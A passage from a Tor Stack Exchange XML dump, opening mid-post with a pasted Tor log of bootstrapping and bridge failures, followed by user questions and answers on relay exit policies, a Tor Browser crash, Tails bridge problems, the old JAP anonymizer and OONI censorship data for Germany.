20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 20; recommendation warn; host FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D at 154.35.22.13:16815) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 21 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  16 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:51:45 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:45 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:45 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:45 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:49 PM.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 21; recommendation warn; host 847B1F850344D7876491A54892F904934E4EB85D at 86.59.21.38:443) &#xA;2/9/2017 20:51:49 PM.200 [WARN] 23 connections have failed: &#xA;2/9/2017 20:51:49 PM.200 [WARN]  17 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:49 PM.200 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:49 PM.200 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:51:51 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:51 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:51 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:51 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;2/9/2017 20:53:19 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:19 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:19 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:19 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:22 PM.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 22; recommendation warn; host FC562097E1951DCC41B7D7F324D88157119BB56D at 128.105.214.162:8080) &#xA;2/9/2017 20:53:22 PM.000 [WARN] 24 connections have failed: &#xA;2/9/2017 20:53:22 PM.000 [WARN]  17 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:53:22 PM.000 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:53:22 PM.000 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:53:23 PM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 23; recommendation warn; host A17A40775FBD2CA1184BF80BFC330A77ECF9D0E9 at 128.105.214.163:8080) &#xA;2/9/2017 20:53:23 PM.800 [WARN] 25 connections have failed: &#xA;2/9/2017 20:53:23 PM.800 [WARN]  17 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:53:23 PM.800 [WARN]  6 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:53:23 PM.800 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:53:23 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:23 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:23 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:23 PM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 24; recommendation warn; host 1E326AAFB3FCB515015250D8FCCC8E37F91A153B at 128.105.214.161:8080) &#xA;2/9/2017 20:53:23 PM.800 [WARN] 26 connections have failed: &#xA;2/9/2017 20:53:23 PM.800 [WARN]  17 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:53:23 PM.800 [WARN]  7 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:53:23 PM.800 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:53:23 PM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 25; recommendation warn; host 0E858AC201BF0F3FA3C462F64844CBFFC7297A42 at 131.252.210.150:8080) &#xA;2/9/2017 20:53:23 PM.800 [WARN] 27 connections have failed: &#xA;2/9/2017 20:53:23 PM.800 [WARN]  17 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:53:23 PM.800 [WARN]  8 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:53:23 PM.800 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:53:32 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:32 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:32 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:32 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:39 PM.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 26; recommendation warn; host B9E7141C594AF25699E0079C1F0146F409495296 at 0.0.2.0:2) &#xA;2/9/2017 20:53:39 PM.200 [WARN] 28 connections have failed: &#xA;2/9/2017 20:53:39 PM.200 [WARN]  17 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:53:39 PM.200 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:53:39 PM.200 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:53:40 PM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:40 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:40 PM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:46 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:46 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:46 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:46 PM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:52 PM.300 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 27; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;2/9/2017 20:53:52 PM.300 [WARN] 29 connections have failed: &#xA;2/9/2017 20:53:52 PM.300 [WARN]  17 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:53:52 PM.300 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:53:52 PM.300 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:53:53 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:53:53 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:53:53 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:54:00 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:54:00 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:54:00 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:54:00 PM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:54:08 PM.100 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 28; recommendation warn; host AF9F66B7B04F8FF6F32D455F05135250A16543C9 at 169.229.59.75:46328) &#xA;2/9/2017 20:54:08 PM.100 [WARN] 30 connections have failed: &#xA;2/9/2017 20:54:08 PM.100 [WARN]  18 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:54:08 PM.100 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:54:08 PM.100 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:54:09 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:54:09 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:54:09 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:54:09 PM.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 29; recommendation warn; host 1E05F577A0EC0213F971D81BF4D86A9E4E8229ED at 109.105.109.163:38980) &#xA;2/9/2017 20:54:09 PM.600 [WARN] 31 connections have failed: &#xA;2/9/2017 20:54:09 PM.600 [WARN]  19 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:54:09 PM.600 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:54:09 PM.600 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:54:09 PM.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 30; recommendation warn; host A09D536DD1752D542E1FBB3C9CE4449D51298239 at 83.212.101.3:80) &#xA;2/9/2017 20:54:09 PM.600 [WARN] 32 connections have failed: &#xA;2/9/2017 20:54:09 PM.600 [WARN]  19 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:54:09 PM.600 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:54:09 PM.600 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:54:09 PM.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 31; recommendation warn; host 4C331FA9B3D1D6D8FB0D8FBBF0C259C360D97E6A at 109.105.109.163:47779) &#xA;2/9/2017 20:54:09 PM.600 [WARN] 33 connections have failed: &#xA;2/9/2017 20:54:09 PM.600 [WARN]  20 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:54:09 PM.600 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:54:09 PM.600 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:54:17 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:54:17 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:54:17 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:54:17 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:54:26 PM.400 [WARN] Proxy Client: unable to connect to 83.212.101.3:443 (&quot;general SOCKS server failure&quot;) &#xA;2/9/2017 20:56:00 PM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:56:00 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:56:00 PM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:56:04 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:56:04 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:56:04 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:56:04 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:56:12 PM.400 [WARN] Proxy Client: unable to connect to 83.212.101.3:443 (&quot;general SOCKS server failure&quot;) &#xA;2/9/2017 21:04:32 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:04:32 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:04:32 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:10:02 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:10:02 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:10:02 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:10:02 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:10:03 PM.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 32; recommendation warn; host 186898801DFB07853DC73C451DD5B90E9FC4CEB4 at 162.243.94.152:8443) &#xA;2/9/2017 21:10:03 PM.200 [WARN] 36 connections have failed: &#xA;2/9/2017 21:10:03 PM.200 [WARN]  21 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 21:10:03 PM.200 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 21:10:03 PM.200 [WARN]  4 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 21:13:23 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:13:23 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:13:23 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:13:23 PM.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:13:23 PM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2/9/2017 21:13:23 PM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2/9/2017 21:13:44 PM.500 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 3; recommendation warn; host A98B64A534FD145034942ADE0063A8651D47D0E6 at 37.210.57.99:443) &#xA;2/9/2017 21:13:44 PM.500 [WARN] 2 connections have failed: &#xA;2/9/2017 21:13:44 PM.500 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 21:13:48 PM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:13:48 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:13:48 PM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:18:18 PM.000 [WARN] Error parsing Bridge address '06/02/2017' &#xA;2/9/2017 21:18:18 PM.000 [WARN] Controller gave us config lines that didn't validate: Bridge line did not parse. See logs for details. &#xA;2/9/2017 21:22:55 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:22:55 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:22:55 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:22:55 PM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:23:00 PM.700 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 4; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;2/9/2017 21:23:00 PM.700 [WARN] 4 connections have failed: &#xA;2/9/2017 21:23:00 PM.700 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 21:23:00 PM.700 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 21:23:00 PM.700 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;2/9/2017 21:23:04 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 21:23:04 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 21:23:04 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16222" LastEditorUserId="10070" LastEditDate="2017-02-10T08:02:38.800" LastActivityDate="2017-04-17T00:29:55.197" Title="Tor failed to establish a Tor network connection with errors" Tags="|help|network-configuration|" AnswerCount="1" CommentCount="2" ClosedDate="2017-05-09T11:45:07.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="13998" PostTypeId="2" ParentId="13627" CreationDate="2017-02-10T07:16:56.173" Score="0" Body="&lt;p&gt;Aside from the censorship concerns, this is nearly impossible.  There's no list of illegal websites to block and without inspecting all the content passing through your relay (which might mean decrypting https or other encrypted traffic) I'm not sure how you'd hope to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can define &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExitPolicy&quot; rel=&quot;nofollow noreferrer&quot;&gt;exit policies&lt;/a&gt; to disallow traffic to certain IPs, but again, do you know all the illegal sites' IP addresses?  Or (a terrible decision) you could firewall exit traffic to certain IPs but this would make your relay drop connections to reachable sites with no explanation to the Tor user.&lt;/p&gt;&#xA;" OwnerUserId="10070" LastActivityDate="2017-02-10T07:16:56.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14000" PostTypeId="2" ParentId="13991" CreationDate="2017-02-10T12:18:23.787" Score="1" Body="&lt;p&gt;This problem is an illusion - it's actually a internet connection problem like canonizing ironize said. I managed to load some sites on Tor Browser after the network failure (albeit 2x slower than normal), I'm planning to ditch my current modem anyway.&lt;/p&gt;&#xA;" OwnerUserId="14882" LastActivityDate="2017-02-10T12:18:23.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14001" PostTypeId="1" CreationDate="2017-02-10T12:55:08.203" Score="0" ViewCount="1203" Body="&lt;p&gt;In the process of making some adjustments in options, I selected &quot;&lt;strong&gt;Use hardware acceleration when available&lt;/strong&gt;&quot;, on next attempted relaunch I got a message basically saying 'something has caused the program to stop' (had to paraphrase because I didn't make a note of the message). I had to reinstall to get it to open. My questions are &quot;what causes this to happen?&quot;, and &quot;is there a known solution, other than having to reinstall?&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You,&#xA;Imho&lt;/p&gt;&#xA;" OwnerUserId="16218" LastActivityDate="2022-04-21T23:01:45.103" Title="Selecting &quot;Use hardware acceleration when available&quot; causes issue where the browser can't launch" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14002" PostTypeId="1" CreationDate="2017-02-10T13:35:01.637" Score="1" ViewCount="319" Body="&lt;p&gt;About Tails,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.when I used it before,***(asterisk)was shown on screen one after another during memory wiping before shutting down.&#xA;But with latest version 2.1,’*’ never appears during memory wiping.&#xA;Does this mean memory wiping fails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.I’m testing to use bridge (in preparation for using public wifi which may not connect to Tor network).&#xA;I go to &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt; , get obfs4 bridges and paste them from Tails Greeter(configure bridge settings),but it doesn’t work.&#xA;Here is the log(partially omitted)&#xA;[NOTICE] New control connection opened from 127.0.0.1.(53 same msgs)&#xA;[NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.(3 same msgs)&#xA;[NOTICE] Opening Socks listener on 127.0.0.1:****(4 msgs / port numbers differ)&#xA;[NOTICE] Renaming old configuration file to &quot;/etc/tor/torrc.orig.1&quot; &#xA;[NOTICE] Bootstrapped 5%: Connecting to directory server&#xA;[NOTICE] Bootstrapped 10%: Finishing handshake with directory server&#xA;[WARN] Proxy Client: unable to connect to &lt;strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/strong&gt;.&lt;strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/strong&gt;:**** (&quot;general SOCKS server failure&quot;) &#xA;[NOTICE] Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:****&#xA;[NOTICE] Closing no-longer-configured DNS listener on 127.0.0.1:****(9msgs / port numbers differ)&#xA;[NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;[NOTICE] Closing old Transparent pf/netfilter listener on 127.0.0.1:****&#xA;[NOTICE] Closing old DNS listener on 127.0.0.1:****&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried in vain with live dvd,live usb, and inside virtualbox.&#xA;But with Tbb on ubuntu16.4,it does work,using the same bridges.&#xA;Why?&lt;/p&gt;&#xA;" OwnerUserId="16225" LastActivityDate="2017-06-10T20:16:35.900" Title="tails memory wiping fails? / cannot use bridge" Tags="|tails|" AnswerCount="1" CommentCount="6" ClosedDate="2017-06-16T21:55:52.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="14003" PostTypeId="1" AcceptedAnswerId="14004" CreationDate="2017-02-10T14:49:27.317" Score="2" ViewCount="71" Body="&lt;p&gt;I am looking for information regarding (discontinued) software for MacOS which I believe worked in a very similar way Tor does. I remember using it in late 1990s/early 2000s, but I can't recall its name (JAB possibly?). If I remember correctly it was developed by some German university(ies).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried searching the Internet but it seems I don't remember enough information or the software was too niche to be remembered.&lt;/p&gt;&#xA;" OwnerUserId="16228" LastActivityDate="2017-02-11T18:37:43.433" Title="Pre Tor software for MacOS (not OSX)" Tags="|onion-routing|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14004" PostTypeId="2" ParentId="14003" CreationDate="2017-02-10T15:19:57.090" Score="2" Body="&lt;p&gt;It's called JAP/Java Anonymizing Proxy otherwise known as JonDoNym.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2003 the network operators were compelled by the German Federal Bureau of Criminal Investigation to log mixes within the network for connections visiting specific websites. They subsequently added code to allow the deanonymization of users upon request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://geti2p.net/en/comparison/other-networks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://geti2p.net/en/comparison/other-networks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://anon.inf.tu-dresden.de/index_en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://anon.inf.tu-dresden.de/index_en.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Java_Anon_Proxy#Privacy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Java_Anon_Proxy#Privacy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="12737" LastEditDate="2017-02-11T18:37:43.433" LastActivityDate="2017-02-11T18:37:43.433" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14005" PostTypeId="2" ParentId="14002" CreationDate="2017-02-10T18:10:18.823" Score="0" Body="&lt;p&gt;&lt;code&gt;[WARN] Proxy Client: unable to connect to XXX&lt;/code&gt; - are you sure that there's no incorrect proxy configuration in your TAILS? It seems to be so&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-10T18:10:18.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14006" PostTypeId="1" AcceptedAnswerId="14007" CreationDate="2017-02-10T19:40:10.790" Score="1" ViewCount="198" Body="&lt;p&gt;I was very much surprised with those &lt;a href=&quot;https://explorer.ooni.torproject.org/country/DE&quot; rel=&quot;nofollow noreferrer&quot;&gt;test results&lt;/a&gt; for Germany.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1,274,673 Measurements Collected&#xA;(...)&#xA;Top level domain    .de&#xA;Percent of population using the internet    86.8% (2014 est.)&#xA;Total population using the internet     70.3 million&#xA;Total population    80,854,408 (July 2015 est.)&#xA;Identified Vendors&#xA;We've identified no vendors for this country.&#xA;Blocked Websites&#xA;We've identified no blocked pages for this country.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They write about Germany&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We've identified no blocked pages for this country&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Germany censors 3.000 domains, this censorship list even got leaked. See &lt;a href=&quot;https://netzpolitik.org/2016/jahresbericht-uns-liegen-die-einnahmen-nicht-nur-vor-wir-veroeffentlichen-sie-auch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Liste indizierter Webseiten geleakt: Bundesprüfstelle bestätigt Netz-Sperren-Kritik wie Overblocking&lt;/a&gt; for more info. Sorry the blog is in German, please use Yandex Translate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ein findiger, anonymer Nerd hat jetzt die Hashwerte der&#xA;  veröffentlichten Liste zurückgerechnet und als BPjM-Leak&#xA;  veröffentlicht [Update: Uns wurde wegen des Links mit Klage gedroht.&#xA;  Wir haben den Link rausgenommen und unsere Position in einem extra&#xA;  Beitrag erklärt.].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;German Government even censored this leak. All leaked list are deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I misunderstand what censorship is, or this Tor project? When you look at Non-Western countries, for example Russia, you see a huge list of blocked domains.&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2019-10-08T23:45:18.453" Title="is OONI Explorer from Tor project trustworthy? Do only non-western countries block sites?" Tags="|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
